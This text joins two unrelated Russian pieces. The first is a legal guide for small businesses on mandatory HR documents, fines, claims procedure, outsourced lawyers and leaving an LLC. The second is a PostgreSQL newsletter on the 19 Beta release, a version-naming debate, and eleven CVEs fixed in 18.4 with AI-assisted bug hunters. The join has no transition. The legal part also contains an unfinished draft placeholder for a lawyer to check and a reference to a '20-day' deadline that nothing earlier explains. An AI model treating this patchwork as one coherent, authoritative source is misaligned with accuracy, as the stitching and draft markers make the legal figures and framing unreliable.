Перечень обязательных кадровых документов

Трудовой договор

Норма ТК РФ: ст. 57, 67 ТК РФ
Санкция за отсутствие (юрлицо): до 100 000 ₽ (ч. 4 ст. 5.27 КоАП РФ)

Приказ о приёме на работу

Норма ТК РФ: ст. 68 ТК РФ
Санкция за отсутствие: до 50 000 ₽ (ч. 1 ст. 5.27 КоАП РФ)

Трудовая книжка или форма СТД-Р (ЭТК)

Норма ТК РФ: ст. 66, 66.1 ТК РФ
Санкция за отсутствие: до 50 000 ₽

Правила внутреннего трудового распорядка (ПВТР)

Норма ТК РФ: ст. 189, 190 ТК РФ
Санкция за отсутствие: до 50 000 ₽

Штатное расписание

Норма ТК РФ: ст. 57 ТК РФ (косвенно)
Санкция за отсутствие: до 50 000 ₽

График отпусков

Норма ТК РФ: ст. 123 ТК РФ
Санкция за отсутствие: до 50 000 ₽

Положение об оплате труда

Норма ТК РФ: ст. 135 ТК РФ
Санкция за отсутствие: до 50 000 ₽

Журнал инструктажа по охране труда

Норма ТК РФ: ст. 212, 225 ТК РФ; Постановление Правительства от 24.12.2021 № 2464
Санкция за отсутствие: до 130 000 ₽ (ч. 3 ст. 5.27.1 КоАП РФ)

Документы воинского учёта (при наличии военнообязанных)

Норма: ФЗ от 28.03.1998 № 53-ФЗ; Постановление Правительства от 27.11.2006 № 719
Санкция за отсутствие: до 500 000 ₽ (после изменений 2023 г.)

Критичные изменения 2023–2025 годов в кадровом законодательстве

Воинский учёт. Федеральным законом от 14.04.2023 № 127-ФЗ внесены изменения в КоАП РФ: штрафы за нарушения воинского учёта увеличены кратно. Непредставление списков граждан, подлежащих первоначальной постановке на воинский учёт, — до 400 000 ₽. Организации с численностью от 1 сотрудника обязаны вести воинский учёт, если в штате есть военнообязанные.

Охрана труда. С 1 марта 2022 года действует новый раздел X ТК РФ. Постановление Правительства от 24.12.2021 № 2464 установило новый Порядок обучения по охране труда. Обязанность работодателя провести обучение всех сотрудников, включая руководителя, возникает вне зависимости от численности. Внутреннее обучение допустимо только при соблюдении установленных требований к программам.

Электронный документооборот. С 22 ноября 2021 года ТК РФ предусматривает электронный кадровый документооборот (ЭКДО) по ст. 22.1–22.3 ТК РФ. Работодатель вправе перейти на ЭКДО через систему «Работа в России» или собственную платформу при соблюдении требований к ЭЦП. Для введения ЭКДО требуется локальный нормативный акт и согласие работников.

Типовые ошибки в трудовых договорах

По итогам проверок ГИТ системно выявляются следующие нарушения:

Отсутствие обязательных условий по ст. 57 ТК РФ: место работы, трудовая функция, дата начала работы, условия оплаты, режим рабочего времени. Каждое — самостоятельное нарушение при проверке.
Противоречие между трудовым договором и локальными актами: например, ПВТР устанавливает один режим работы, трудовой договор — другой. При споре применяется норма, более благоприятная для работника (ст. 8 ТК РФ).
Ненадлежащее оформление испытательного срока: испытание не предусмотрено в тексте договора, но прописано только в приказе — условие недействительно (ч. 2 ст. 70 ТК РФ).
Использование гражданско-правового договора для фактических трудовых отношений. При переквалификации — доначисление страховых взносов, штраф по ч. 3 ст. 5.27 КоАП РФ (до 100 000 ₽), обязание оформить трудовой договор с даты фактического допуска к работе.

Претензионная работа как обязательная досудебная стадия

Для малого бизнеса претензионная работа критична по двум причинам: процессуальной и экономической.

Процессуальная. По ч. 5 ст. 4 АПК РФ для большинства требований из предпринимательской деятельности соблюдение претензионного порядка обязательно. Срок ожидания ответа — 30 календарных дней с даты направления претензии, если иной срок не предусмотрен договором или законом. Несоблюдение претензионного порядка — основание для оставления иска без рассмотрения (п. 2 ч. 1 ст. 148 АПК РФ).

Экономическая. Правильно составленная претензия часто закрывает спор без суда. Она фиксирует позицию, ссылается на нормы и конкретные договорные условия, устанавливает срок и последствия. Контрагент понимает, что другая сторона готова к суду и обладает нормативной базой. Процент добровольного урегулирования при грамотно составленной претензии статистически выше.

Дата направления претензии имеет значение и для исчисления процентов по ст. 395 ГК РФ — при определённых условиях проценты начисляются с момента получения претензии.

Аутсорсинг vs. штатный юрист: операционное сравнение

Штатный юрист:

Полная стоимость в месяц: 90 000–140 000 ₽ (оклад + страховые взносы ~30% + рабочее место)
Охват компетенций: один специалист не покрывает корпоративное, налоговое, трудовое и арбитражное направления одновременно
Непрерывность: отпуск, больничный, увольнение — разрыв в обслуживании
SLA: не формализовано
Целесообразность штатного: более 30 договоров в месяц, частые суды (10+ в год), необходимость ежедневного физического присутствия

Юридический аутсорсинг:

Полная стоимость в месяц: 15 000–50 000 ₽ (абонемент)
Охват компетенций: несколько специалистов по профилям
Непрерывность: регламентированная замена
SLA: обычно 2–4 часа на стандартный запрос
Целесообразность: все остальные случаи

Порог численности, при котором аутсорсинг теряет экономическую эффективность по сравнению со штатным юристом для типового малого бизнеса, — около 50 сотрудников при интенсивном договорном потоке. До этого порога содержание штатного юриста экономически не обосновано.

Аудит документации: операционный чек-лист

Перед началом работы с юристом (или для самостоятельной первичной оценки) проверяется следующий минимум:

Корпоративный блок:

Устав — актуальная редакция с отметкой ФНС; учтены ли изменения ФЗ № 14-ФЗ, вносившиеся в 2017–2023 годах
Лист записи ЕГРЮЛ — дата последней актуализации данных
Решение / протокол о назначении действующего директора
Срок полномочий директора по уставу — не истёк ли

Договорной блок:

Наличие письменной формы по всем сделкам свыше 10 000 ₽ (ст. 161 ГК РФ — для сделок юрлиц)
Соответствие договоров фактическим отношениям (риск переквалификации)
Сроки исковой давности по просроченной дебиторской задолженности (общий срок — 3 года, ст. 196 ГК РФ)

Кадровый блок:

Трудовые договоры со всеми сотрудниками, включая директора [ПРОВЕРИТЬ_ЮРИСТУ — директор — единственный участник: трудовой договор или нет; позиция Роструда и судебная практика расходятся]
ПВТР, положение об оплате труда, положение об охране труда
Журналы инструктажей с подписями
Воинский учёт — карточки по форме № 10, журнал проверок

Налоговый блок:

Уведомление о переходе на УСН (если применяется) — есть ли подтверждение от ФНС
Книга учёта доходов и расходов (КУДиР) — ведётся ли корректно

Что происходит при выходе участника из ООО

Это одна из процедур, где самостоятельные действия наиболее рискованны из-за обязательного нотариального удостоверения и жёстких сроков.

Алгоритм по ст. 26 ФЗ № 14-ФЗ:

Участник подаёт нотариально удостоверенное заявление о выходе. С момента получения заявления обществом доля переходит к обществу.
Нотариус, удостоверивший заявление, в течение 2 рабочих дней направляет в ФНС заявление о внесении изменений в ЕГРЮЛ (форма Р13014).
Общество обязано выплатить действительную стоимость доли в течение 3 месяцев (если иной срок не предусмотрен уставом) — ст. 23 ФЗ № 14-ФЗ.
Действительная стоимость доли рассчитывается на основании данных бухгалтерской отчётности за последний отчётный период, предшествующий дате выхода.

Уклонение от выплаты или занижение стоимости доли — основание для иска в арбитражный суд. Споры о действительной стоимости доли — один из наиболее распространённых корпоративных споров в арбитраже.

Операционные выводы

Юридические задачи малого бизнеса поддаются систематизации и в значительной части — стандартизации. Основные риски концентрируются не в экзотических ситуациях, а в рутине: несоответствие устава действующему закону, трудовые договоры без обязательных условий, просроченные сроки исковой давности по дебиторке, неправильно рассчитанные 20 дней при смене адреса.

Нормативная база в части кадрового законодательства и регистрационных процедур активно менялась в 2020–2024 годах. Документы, разработанные три-пять лет назад и с тех пор не актуализированные, с высокой вероятностью содержат устаревшие нормы. Это создаёт риски не при повседневной работе, а именно в момент проверки или спора, когда ошибка уже зафиксирована и обратного пути нет.

Postgresso 4 (89)

Wed, 10 Jun 2026 20:54:43 +0000

Бета

PostgreSQL: PostgreSQL 19 Beta 1

Официальный релиз запланировали на сентябрь/октябрь. Вот что старейшины решили выделить в описании релиза 19-й версии:

Производительность

PostgreSQL 19 усовершенствует асинхронную подсистему ввода-вывода, представленную в PostgreSQL 18: io_method=worker теперь автоматически масштабирует количество рабочих процессов ввода-вывода на основе новых параметров io_min_workers и io_max_workers.
Расширение pg_plan_advice позволяет пользователям стабилизировать и контролировать решения планировщика, а pg_stash_advice - автоматически применять рекомендации, используя идентификаторы запросов.
Autovacuum теперь может использовать параллельные рабочие процессы, которые можно настраивать с помощью нового параметра autovacuum_max_parallel_workers, а новая система оценки autovacuum помогает расставлять приоритеты таблиц при их вакуумировании. Кроме того теперь PostgreSQL помечает страницы как видимые, когда их запрашивают.
Добавлена новая команда REPACK и ее неблокирующая опция CONCURRENTLY, которые позволяют перестраивать таблицы с меньшими операционными накладными расходами.
PostgreSQL 19 увеличил производительность в 2 раза на INSERT при проверках внешних ключей. Также: новые оптимизации anti-join, более широкое использование инкрементных сортировок, "жадную" (eager) агрегацию, быстрое чтение из хранилища во время параллельных последовательных сканирований, упрощение IS DISTINCT FROM и IS NOT DISTINCT FROM до простых операторов <> и =, когда входные данные не могут быть NULL. Также есть улучшения для масштабируемости LISTEN/NOTIFY, которые влияют на многоканальные рабочие нагрузки.

Удобства для разработчиков

На первое место в этом разделе поставили поддержку SQL/PGQ. Логично, такого ещё не было. Это не просто часть стандарта SQL:2023 ISO, это возможности удобной работы с графами, так актуальные во времена ИИ и анализа соцсетей. Об этом, например, здесь.
Дальше - новые возможности темпоральных запросов: добавили поддержку UPDATE и DELETE для конструкции FOR PORTION OF.
Добавили ALTER TABLE ... MERGE PARTITIONS и ALTER TABLE ... SPLIT PARTITIONS для упрощения реорганизации секционированных таблиц на месте. Появилась поддержка возврата строк, конфликтующих во время операции upsert, с помощью INSERT ... ON CONFLICT DO SELECT ... RETURNING.
Новый синтаксис GROUP BY ALL упрощает добавление всех неагрегируемых и неоконных (non-aggregate and non-window) выходных столбцов в качестве части группировки.
Для работы с jsonpath добавили функции lower(), upper(), initcap(), replace(), split_part() и семейство функций trim().
Новая команда WAIT FOR LSN упрощает использование паттернов запросов типа "чтение своих записей" (read-your-writes) при работе с репликами: сеанс сможет ждать, пока изменения до определенной позиции в логе (LSN) не будут воспроизведены на реплике, а уже потом выполнять запрос SELECT.
Добавили новые SQL-функции для получения DDL, необходимых для воссоздания ролей, табличных пространств и баз данных, что упрощает написание скриптов и миграций.
Функция random() теперь работает с типами date и timestamp, а PL/Python теперь поддерживает событийные триггеры.

Безопасность

С серверной поддержкой Server Name Indication (SNI) через новый файл pg_hosts.conf сервер PostgreSQL может предоставлять разные TLS-сертификаты в зависимости от запрошенного клиентом имени хоста.

Мониторинг и прозрачность (так я, не настаивая, предлагаю переводить observability)

Статистику по типам блокировок можно увидеть в представлении pg_stat_lock, а детали операций восстановления в pg_stat_recovery. Столбец stats_reset теперь доступен во многих представлениях статистики, он показывает, когда счетчики были очищены в последний раз. Представления pg_stat_progress_vacuum и pg_stat_progress_analyze теперь включают столбец started_by, а pg_stat_progress_vacuum - столбец mode.
Можно указывать уровни log_min_messages для каждого типа процесса. Количество байтов, записанных в виде полных страниц WAL, теперь выводится в лог VACUUM и ANALYZE, а EXPLAIN ANALYZE теперь показывает статистику асинхронного ввода-вывода (AIO) через опцию IO.

Логическая репликация и федерализация запросов

Логическая репликация научилась реплицировать последовательности. Новый синтаксис CREATE PUBLICATION ... EXCEPT позволяет публиковать все таблицы в базе данных, кроме указанного набора, а CREATE SUBSCRIPTION ... SERVER позволяет определять подписки с использованием стороннего сервера (foreign server), упрощая управление учетными данными.
Логическую репликацию теперь можно включать без перезапуска сервера - по мере необходимости, даже если параметр wal_level установлен в значение replica.
Новый параметр effective_wal_level (доступный только для чтения) сообщает о текущем действующем уровне WAL - можно заранее не фиксировать более высокий уровень WAL для кластеров, который он может потребоваться лишь эпизодически.
В postgres_fdw : вынос операций с массивами на удалённый сервер (pushdown), использование статистики с внешних таблиц для поддержки более качественного локального планирования запросов.

Ещё новое:

Организационное: период бета-тестирования отныне включает временный режим grease mode (режим «смазки») для проверки проблем совместимости протокола в более широкой экосистеме. Об этом сделали специальную страничку в Postgres-wiki.
Можно включать и отключать контрольные суммы без перезапуска или реинициализации кластера.

JIT (Just-in-time компиляция) теперь отключена по умолчанию.
Параметр default_toast_compression по умолчанию теперь установлен в lz4.
Поддержка аутентификации RADIUS удалена.
Команда vacuumdb --analyze-only по умолчанию теперь анализирует секционированные таблицы.

Полный список новых и изменённых функций см. в примечаниях к релизу и другие ресурсы:

Бета. Статьи.

Обзоры Павла Лузанова

Цикл статей-обзоров изменений 19 версии на основе коммитфестов. PostgreSQL 19: Часть 4 или Коммитфест 2026-01, а также 2025-11, 2025-09, 2025-07.

И не только

Среди других статей о новшествах версии есть такая:

Two Hundred and Twelve Things

Пишет Кристоф Питтус (Christophe Pettus) в собственном блоге The Build собственной консалтинговой компании с тем же названием. Его угол зрения - из коморки DBA. То, что наиболее важно для его работы. Поэтому о, скажем, графах он не пишет. Вот его топ для админов:

Worker-managed AIO - пул потоков асинхронного I/O теперь масштабируется автоматически (io_min_workers, io_max_workers и др.) - настроил и забыл.
LEFT JOIN → ANTI JOIN - планировщик чаще переписывает LEFT JOIN ... WHERE col IS NULL как анти-джойн - дешевле выполнение, особенно на больших таблицах.
pgstattuple с потоковым чтением - диагностика состояния таблиц стала быстрее за счёт использования AIO/prefetch - можно запускать в рабочее время.
Переход на стандарт C11 для сборки - важен для мейнтейнеров расширений. И об этом не пишет практически никто. А Кристоф посвятил пусть маленькую, но отдельную главку в статье. Итак: C11 полностью поддерживается всеми современными ОС (актуальные дистрибутивы Linux, macOS, BSD, а также RHEL 8 и новее). А вот на устаревших корпоративных дистрибутивах с компиляторами 2015 года и старше, в кастомных средах сборки для встраиваемых (embedded) систем, в сторонних (out-of-tree) расширениях, могут быть жестко прописаны флаги std=c99 в Makefile. Проверьте свои флаги сборки прямо сейчас, - советует Кристоф, - ибо лучше обнаружить эту проблему в мае, а не в октябре, когда вы уже пытаетесь запустить апгрейд на PG19.

PostgreSQL 19: Features I'm Excited About

Автор, Тяньчжоу (Tianzhou Chen, сооснователь и гендир шанхайской компании Bytebase, живёт, впрочем, в Долине) даёт свой список воодушевивших его новшеств. И он не повторяет буквально список в описании релиза. В нём, например, есть важное отличие: он пишет о фиче, чрезвычайно важной для российских разработчиков: о 64-битных идентификаторах. Как известно, в России много баз с огромной нагрузкой, которая привела бы к быстрому апокалипсису под красивым названием Wraparound. Российские производители версий Postgres сами приделывают 64-битные идентификаторы, но это не значит, что решение этой проблемы сообществом их уже не интересует. Наоборот. Пока там прошли только идентификаторы в MultiXact, но этот вопрос не заброшен, сражения архитекторов Postgres продолжаются. Итак, список:

pg_plan_advice + pg_stash_advice,
pg_get_*_ddl(),
REPACK CONCURRENTLY,
онлайн-включение контрольных сумм,
pg_stat_lock, pg_stat_recovery,
Синхронизация последовательностей в логической репликации,
64-битные MultiXact,
Параллельный автовакуум.

Вот, кстати, недавняя статья о MultiXact.

Postgres as a Job Queue: The MultiXact SLRU Problem

Пишет Рич Йен (Rich Yen, инженер-сеньор в Microsoft). Копает глубоко. Почему использование PostgreSQL как очереди задач (SELECT ... FOR UPDATE SKIP LOCKED) ломается при высокой конкуренции: в механизме MultiXact SLRU при множестве параллельных блокировок одной строки инфраструктура локов не выдерживает. Возникает затор. Хотя дело не только в этом.

Мажорные релизы. Нейминг.

"Вот что я подумал: Postgres 9.6 у меня ассоциировался с 2016, и цифра «6» в конце и номера версии, и года всегда помогала мне запомнить год релиза. А запоминание важно, когда работаешь со множеством баз данных на разных версиях Postgres - это даёт понимание, насколько версия старая. И за последние 10 лет цикл релизов довольно стабилен: примерно одна мажорная версия в год. Поэтому, если бы следующая версия называлась 26 вместо 19, а следующая за ней - 27, было бы проще понять, насколько эта версия актуальна.

Ваш Nik.

То есть Николай Самохвалов (Nikolay Samokhvalov, postgres.ai). Пока идея всем (не очень известным) очень нравится.

UPD: откликнулся Том Лейн (Tom Lane): Geez, I thought we were permanently done with what-shall-we-call- the-next-release threads after we dropped three-part version numbers:

«Боже, я думал, что после отказа от трёхчастных номеров версий мы навсегда покончили с тредами в духе “как же назвать следующий релиз”.

Мне не нравится ни один вариант этого предложения, потому что я боюсь, что оно слишком сильно полагается на нашу способность строго придерживаться фиксированного релизного календаря. Что будет, если “v2027” сдвинется на 2028 год? Неужели тогда мы окажемся не в состоянии вернуться к обычному графику для следующего релиза?»

Другой классик - Питер Айзентраут (Peter Eisentraut) - поддержал его:

«К тому же, некоторые вещи, которые выходят под конец года N, по маркетинговым причинам выпускают уже как версию N+1.»

И Том добавил ещё одну пикантную добавку:

«Можно глянуть и с другой стороны: тут всплыла мысль на AI-секции на PGConf.dev: кто-то предположил, что ИИ может так ускорить наш цикл разработки, и можно будет выпускать по два мажорных релиза в год. Это не значит, что я в это верю. Но мы можем сами себе создать лишние обязательства».

Николай с готовностью принял конструктивную критику и сделал следующий ход:

«У меня есть ещё одно, гораздо более мягкое предложение. На самом деле — два.

1) Документация. Добавить что-то вроде: “Major version NN released YYYY, EOL Mon YYYY” прямо на таких страницах, как:

https://www.postgresql.org/docs/https://www.postgresql.org/docs/release/https://www.postgresql.org/docs/current/index.html

Сейчас, чтобы понять, насколько версия Postgres старая, приходится идти на https://www.postgresql.org/support/versioning/ и читать таблицу. А операторы, инженеры поддержки и вендоры, которые описывают совместимость, делают это постоянно. Если даты релиза и EOL будут прямо на главных страницах документации, один лишний переход просто исчезнет.

2) Год рядом с номером версии в анонсах релизов, новостях и пресс-ките. Вот так: PostgreSQL 19 (2026), а за ним логично последует: PostgreSQL 19, ежегодный мажорный релиз 2026. Это не привязывает версию к году - главным всё равно остаётся порядковый номер. Если релиз сдвинется, поменяется только год. А если цикл станет полугодовым, это просто и естественно превратится в “(2026.1)” / “(2026.2)” без всякой правки номера версии. То есть это не замена, а ещё один способ обозначения версии.»

Минорный релиз. Заплатки, принцессы, призраки

Выход беты, конечно, событие. Но очень предсказуемое, почти уже свершившиеся заранее. Ведь все изменения открыто обсуждаются, а многие и анализируются. А вот выход этого минорного релиза многих ошарашил.

PostgreSQL 18.4

(А также 17.10, 16.14, 15.18 и 14.23)

Этот минорный релиз удивительный, такого ещё не было. Поражает не коллекцией новых функций, а списком дыр, которые обнаружили и быстро залатали. 11 дыр!

PostgreSQL 18.1 (2025) - 2 уязвимости,
18.2 (2026) - 5,
18.3 (2026) - 0 и
18.4 (2026) - 11.

В прежние годы доходило до 7:

9.3.1 (2013) - 7,
9.4.10 (2017) - 6, но считая расширения,
10.6 (2018) - 6.

И дело, конечно, не в том, что последние версии были плохие, неаккуратно написаны, хуже оттестированы. А в том, что для нахождения уязвимостей стали применять другие инструменты. И, конечно, ИИ. Радикально изменился список благодарностей: много новых имён. И, очевидно, демография радикально другая. Но сначала в 2 словах о каждой из 11.

Залатали дыры:

CVE-2026-6472: PostgreSQL: команда CREATE TYPE не проверяет привилегию CREATE на схему при создании мультидиапазонных типов.
CVE-2026-6473: (! "опасность высока") Целочисленное переполнение при выделении памяти в PostgreSQL.
CVE-2026-6474: Утечка памяти через функцию timeofday().
CVE-2026-6475: (!) Опасность перезаписи системных файлов через символические ссылки в pg_basebackup и pg_rewind.
CVE-2026-6476: (!) SQL-инъекция в pg_createsubscriber через имя подписки.
CVE-2026-6477: (!) Опасность перезаписи стека клиента через функции lo_* вlibpq.
CVE-2026-6478: Раскрытие MD5-хэшей паролей через скрытый временной канал (timing attack).
CVE-2026-6479: (!) Отказ в обслуживании (DoS) через неконтролируемую рекурсию при согласовании SSL/GSS.
CVE-2026-6575: Функция pg_restore_attribute_stats в PostgreSQL принимает значения, из-за которых планировщик запросов читает данные за пределами массива статистики.
CVE-2026-6637: (!) Переполнение стека и SQL-инъекция в модуле refint.
CVE-2026-6638: SQL-инъекция в команде REFRESH PUBLICATION при логической репликации.

Опасность оценивалась по SVSS (Common Vulnerability Scoring System) версии 3.1 (см. NVD - CVSS v3 Calculator).

Разбирать эти 11 уязвимостей мы не будем: Кристоф Питтус (Christophe Pettus) разобрал их до нас в блоге своей консалтинговой компании The Build:

Eleven CVEs Walk Into a Release

Обратим внимание на вот что: атаки через рекурсию в CVE-2026-6479 - ого, такого в PostgreSQL не было.

Кого благодарить за бдительность?

Anemone, A1ex, Xint Code, Цзи Хэ Ван (Jihe Wang), Цзи Чжоу Фу (Jingzhou Fu), Павел Коут (Pavel Kohout), Пётр Симечек (Petr Simecek), www.aisle.com, Брюс Дэнг (Bruce Dang, Calif.io) и Свен Клемм (Sven Klemm).

Имена звучат странновато, как-то не по-постгресовому, не правда ли? Анемон. A1ex. Xint Code.

Начнём с конца списка успешных дыроискателей: в Postgresso 7 (68) мы писали: pgspot 0.8.0 - это интересный инструмент для выявления уязвимостей в SQL-скриптах Postgres выложен на гитхабе Timescale. Автор - Свен Клемм (Sven Klemm) из Дрездена. Прежде всего pgspot призван выявить: атаки через search_path, создание небезопасных объектов."

Сейчас циферки версии подросли, хотя и не сильно: pgspot 0.9.2. Поддерживает по-прежнему svenklemm (Sven Klemm).

Девиз Calif: Хакеры уже идут вас хакать, готовьтесь! (Hackers gonna hack, be prepped). Они объявляют, что работают над обнаружением уязвимостей в коллаборации с Anthropic и их Клодом. Компания интересная, в ней даже Принцесса работает.

Главный (не президент, не CEO, а просто Chief) - Тхай Дуонг (Thai Duong / 'thaidn', родился в Сайгоне.
Ан Чинь (An Trinh - сооснователь и CTO выступал на конференции ZeroNights St. Petersburg - нет, это не в СПб, штат Флорида, это Питер, РФ.
Михал Залевски (Michał Zalewski /lcamtuf) - советник-безопасник, автор утилиты afl-fuzz (AFL: american fuzzy lop), его вклад в искусство сокрушения софта "больше, чем всё вредоносное ПО за всю историю". Ушёл из Google и Snap, теперь пишет, исследует и "придумывает, как подготовиться к неизбежному Апокалипсису". Ну и:
Париса Табриз (Parisa Tabriz) - "официальная Принцесса Безопасности в Google".

Уже неплохая складывается компания из душевных компаний. Но дальше - больше.

Павел Кохут (Pavel Kohout, Aisle Research). Он нашёл дыру в Графане (кстати, см. дальше о русской Графине) - Grafana Labs: Responsible Disclosure Recognition, в Апаче: Critical Apache HTTP Server Flaw Exposes Millions of Servers to Remote Code Execution Attacks.

И вот на что замахивается Aisle:

Платформа AISLE создана лидерами в сфере информационной безопасности и учёными в области ИИ, которые на собственном опыте видели и масштаб угроз, и ограниченность современных инструментов. Наша цель - не просто улучшить управление уязвимостями. Наша цель - ликвидировать бэклог. Ноль уязвимостей, доступных злоумышленникам.

Главный по науке (и он у них идёт впереди CEO) - доктор Станислав Форт (Dr. Stanislav Fort). Теорфизик из Кембриджа, ИИ-исследователь с опытом работы в Google Brain, DeepMind и Anthropic.
Гендир - Ондржей Влачек (Ondrej Vlcek), 20+ лет опыта в безопасности, и какого опыта! Он был гендиром Avast (Avast - хит 90-х), потом президентом Gen Digital. Получил учёную степень в Чешском Техническом Университете (Czech Technical University) в Праге.
Джайя Балу (Jaya Baloo, COO & CISO - что это? А, это оперативное руководство и управление безопасностью). Пишут, что она входит в топ-100 мировых безопасников.

Дальше: Xint Code - леденящая душу история. Утилита Xint Code (с ИИ, разумеется) соревновалась с живыми искателями дырочек и нашла прославивший её баг CVE-2026-2005 в расширении PostgreSQL pgcrypto, который не замечали 20 лет. В самом PostgreSQL тоже нашли, но баг помоложе - CVE-2026-2006, его закрыли в 18.2.

Xint Code - это разработка компании Theori, ей лет 10, гендир - Брайан Сечжунь Пак (Brian Sejoon Pak), кореец. Он основал компанию вместе с Эндрю Уизи (Andrew Wiese, CTO), с которым закончил Карнеги Меллон. Сейчас в компании более 100 сотрудников. Офисы в Техасе (альма матер основателей - Карнеги Меллон - в Техасе) и в Сеуле.

На этом хакатоне ZeroDay.Cloud, где соревновались в исследованиях Postgres и MariaDB с помощью ИИ-инструментов, нашли 20-летнюю уязвимость. Нашли и те, что закрыли в 18.4 (CVE-2026-6473, CVE-2026-6474)

Хакатон организовала Wiz, Inc - израильско-американская компания в области облачной кибербезопасности, которая с марта 2026 года является частью Google Cloud: Google (Alphabet) приобрела её за $32 млрд в марте 2026 - крупнейшая сделка в истории кибербезопасности.

Вот отчёт Wiz: AI finds 20-year-old bugs in PostgreSQL and MariaDB на сайте CSO Online. Вот ещё заметка:

CVE-2026-2005: PostgreSQL pgcrypto heap buffer overflow leading to RCE | ZeroDay.cloud - На ZeroDay.Cloud 2025, Xint Code нашла 20-летней давности дыру с переполнением буфера в PostgreSQL-расширении pgcrypto.

Дальше: в списке уязвимостей есть серьёзная дыра CVE-2026-6475, её нашли с помощью Atuin Automated Vulnerability Discovery Engine. Это любимая игрушка Tencent Xuanwu Lab - команды XlabAI в составе Лаборатории Сюаньу (Tencent Xuanwu Lab).

На их гитхабе есть и вот что: Chat2DB - опенсорсная утилита, которая поможет:

быстрее писать SQL-запросы,
управлять базами данных,
генерировать отчёты,
исследовать данные,
взаимодействовать с множеством различных СУБД (MySQL, PostgreSQL, H2, Oracle, SQLServer, SQLite, MariaDB, ClickHouse, DM, Presto, DB2, OceanBase, Hive, KingBase, MongoDB, Redis, Snowflake и другие) в едином интерфейсе.

Но сама Atuin Automated Vulnerability Discovery Engine на гитхаб не выложена.

На сайте XlabAI читателя главной страницы приветствуют такими словами:

"ИИ-агенты принимают решения от имени пользователей, однако эти решения не всегда безопасны. Мы выявили ряд распространённых рисков, связанных с принятием решений ИИ. Среди них выделяется категория рисков, способных оказывать устойчивое и скрытое воздействие. Мы назвали это явление „Призрачные зависимости“ (Ghost Dependencies)."

Существуют два Призрака. Имена их R1 и R2:

R1 или Призрак Версии (Ghost Versions): У LLM есть дурная привычка предлагать устаревшие версии компонентов, которые часто встречались в их обучающих данных, вместо актуальных релизов.
R2 или Призрак Имени Пакета (Ghost Package Names): LLM время от времени выдумывают несуществующие названия пакетов. Такие глюки зависят от архитектуры конкретной модели и поддаются прогнозированию.

Эти призраки, следовательно, молодые. Что же, команде слабо найти дыры 20-летней давности - как Xint? 20 - может быть, но 6-леток отлавливали: Deep Analysis of CVE-2019-8014: The Vulnerability Ignored 6 Years Ago.

Эти ребята довольно складно, имхо, формулируют актуальные изменения в вечной войне снаряда с бронёй: ИИ революционизировал и то, и другое.

Вообще, блог их интересный, есть даже про кванты: How Far Are Quantum Computers from Breaking RSA-2048?

В списке уязвимостей 18.4 есть ещё одна довольно экзотичная: timing attack: CVE-2026-6478 - Timing attack - по разнице в скорости ответа можно сделать выводы о внутренних данных системы, даже если прямого доступа к ним нет. Эта тема для Postgres и (СУБД тем более) не новая: 3 учёных мужа - Александр Рейсин (или Разин, Alexander Rasin), Джеймс Хербик (James Herbick), и Ник Скоуп (Nick Scope) из DePaul University и Бен Ленард (Ben LENARD) из знаменитой Argonne National Laboratory поднимали вопрос о Vulnerability of Access Control Restrictions to Timing Attacks in a Database Management System. А в 2021 на Database Administrators Stack Exchange обсуждалось: postgresql - Prevent timing attacks in postgres?

И так далее. Новые имена, новые компании, новые территории. И ясно, что это не всплеск, а новый поворот. Мир Postgres уже не будет прежним.

Теперь все будут соревноваться. Вот что предлагает G-рептилия:

Would Greptile Have Caught That Postgres Bug? - вставьте пулл-реквест (PR) на GitHub, в котором появилась эта ошибка, - без регистрации. ГРептилия пришлёт ревью старого пулл-реквеста, как если б он был новый, и покажет комментарии, которые Грептилия бы оставила.

Недавняя версия - 3-я: Greptile v3, an agentic approach to code review - Дакш Гупта (Daksh Gupta), сооснователь ГРептилии объясняет разницу 3-й версии и 2-й. Новая более склонна к рекурсии при обращении к LLM и подбору оптимальных инструментов внутри цикла. Дакш называет новый подход детективным.

Мы легонько касались Инженерии Хаоса в предыдущем Postgresso, даже доклад такой был: Chaos Engineering для тех, кто в гробу его видал - Лев Алимов, стафф-инженер в Т-Банке. А в предпредущем о китайских инженерах хаоса, даже о Chaos as a Service).

Больше хаоса! Звучит как "больше ада", но тут уж никуда не денешься. Его так и так будет много, это несомненно.

SQLsmith 1.5 - генератор случайных SQL для тестирования. Вот гитхаб. Автор - anse1/ = Андреас Зельтенрайх (Andreas Seltenreich 'anse1', Cybertec).

И мы говорили здесь о хороших ИИ-хакерах. А сколько на 1 хорошего приходится нехороших? Лучше об этом не думать.

В России эту тему тоже считают важной и актуальной. Tadviser, например, звал всех на семинар 8 июня 11:00: AI-SAST как новый слой анализа кода: где заканчиваются паттерны и начинается контекст. SAST это и есть Static Application Security Testing. На семинаре Антон Михайлов, директор по развитию группы продуктов SASTAV и Александр Заргаров, лидер технического контура безопасной разработки SASTAV рассказывали:

Почему классический SAST остаётся фундаментом анализа и зачем вообще сохранять детерминированный движок.
Где начинается «зона семантики»: почему IDOR (Insecure Direct Object Reference) нельзя найти простым поиском ID в URL.
Почему нельзя просто заменить SAST LLM-моделью (и что сломалось бы в вашем Security Gate).
Как работает гибридный подход.
Как переход от «напиши правило» к «опиши риск» на естественном языке снижает порог кастомизации.
В каких случаях AI-SAST не нужен (и почему массовые проверки лучше оставить классике).

Ладно. Добро в конце концов победит зло, вот и дыры в 18.4 закрыли (кстати, русская документация), а недавно вышла и Postgres Pro Standard 18.4.1. Enterprise выйдет попозже.

Минорный релиз. Кто.

Каждый 11-й участник разработки PostgreSQL 18 - сотрудник Postgres Professional - пишет CNews. А конкретно - 43 разработчика из примерно полутыщи тех, кого благодарят за выпуск PostgreSQL. Как подсчитали - очень просто. В компании подсчитали переданные сообществом медали (есть такая славная традиция).

Разработчики из Postgres Professional не одиноки в улучшайзинге PostgreSQL. Российские компании подтягиваются, прибавляют. Это заметно не столько по acknowledgements, сколько по переписке в hackers. Ещё недавно за Яндекс-облако отдувался многорукий Андрей Бородин (Andrey Borodin ), а за Тантор Лабс Илья Евдокимов (Ilia Evdokimov), а сейчас у них уже небольшие (до полудюжины), команды. Иногда промелькнут и почтовые адреса Сбертех или FTData, или вдруг РуТокен мелькнёт. Но, возможно, их больше, так как я сужу в основном просто по адресам, а у многих разрабов адреса не корпоративные.

